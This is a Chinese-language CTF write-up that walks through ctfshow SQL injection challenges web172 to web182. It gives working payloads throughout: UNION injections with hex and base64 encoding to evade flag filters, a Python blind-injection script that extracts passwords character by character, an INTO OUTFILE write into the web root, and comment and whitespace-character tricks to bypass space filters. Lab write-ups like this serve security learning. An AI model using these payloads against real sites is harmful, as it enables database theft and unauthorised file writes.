WEB172
查询语句
//拼接sql语句查找指定ID用户
sql = “select username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";
返回逻辑
//检查结果是否有flag
if($row->username!==‘flag’){
$ret[‘msg’]=‘查询成功’;
}
这里说我们返回的语句中不能包含flag内容。
我们可以绕过
1’ union select hex(username),password from ctfshow_user2–+
WEB173
查询语句
//拼接sql语句查找指定ID用户
sql = “select id,username,password from ctfshow_user3 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match(’/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}
相对上一题就是多了json_encode
可以用编码形式绕过,这里可以用到两个函数
hex : 转16进制
to_base64 : 转base64
1’ union select 1,hex(username),to_base64(password) from ctfshow_user3–+
WEB174
查询语句
//拼接sql语句查找指定ID用户
sql = “select id,username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match(’/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}
输入1’ and 1=1#
输入1’ and 1=0#
从这里就可以分析出来有时间盲注,先看看有没有联合注入,发现没有回显只能时间盲注。
这里直接放代码。
import requests
url = "http://2a29bdb8-5bf5-4d82-9391-24cc6beacd48.challenge.ctf.show:8080/api/v4.php?id=1' and "
result = ""
i = 0
while True:
i = i+1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"1=if((ascii( substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid}),1,0)--+"
r = requests.get(url+payload)
if 'admin' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
跑一遍就出flag了。
web175
这里先试一下,然后发现没有回显.
这里我们有两种方法,第一种就是把内容读取出来放在网页根目录,第二种就是写盲注的脚本。
这里我先用一下第二种写网站根目录的。
1’ union select 1,password from ctfshow_user5 into outfile ‘/var/www/html/1.txt’–+
web176
打开页面,发现有回显.
这里查询错误可能是有过滤,这里试一下绕过方法。
先大小写绕过,发现有回显,这里直接查询即可。
WEB177
payload=1’//union//select//password,1,1//from//ctfshow_user//where//username//=‘flag’%23
总结
1、内连绕过/**/
2、编码绕过%23(#)
web178
过滤了空格。
先尝试 1’and’a’='a
发现执行成功。 再尝试1’ and ‘a’='a
失败了。所以很明显,过滤空格。 我们尝试用内敛注释 %09代替空格,以次绕过。
可以对照这里的绕过方法,我这里采用%0c绕过
payload=1’%0Cunion%0Cselect%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23
web179
这里还是%0C绕过,然后order by查询到有三个字段。
和上题一样的
payload=1’%0Cunion%0Cselect%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23
web180
payload=-1’or(id=26)and’1’='1
web181
还是一样的
payload=-1’or(id=26)and’1’='1
web182
长期更新。。。。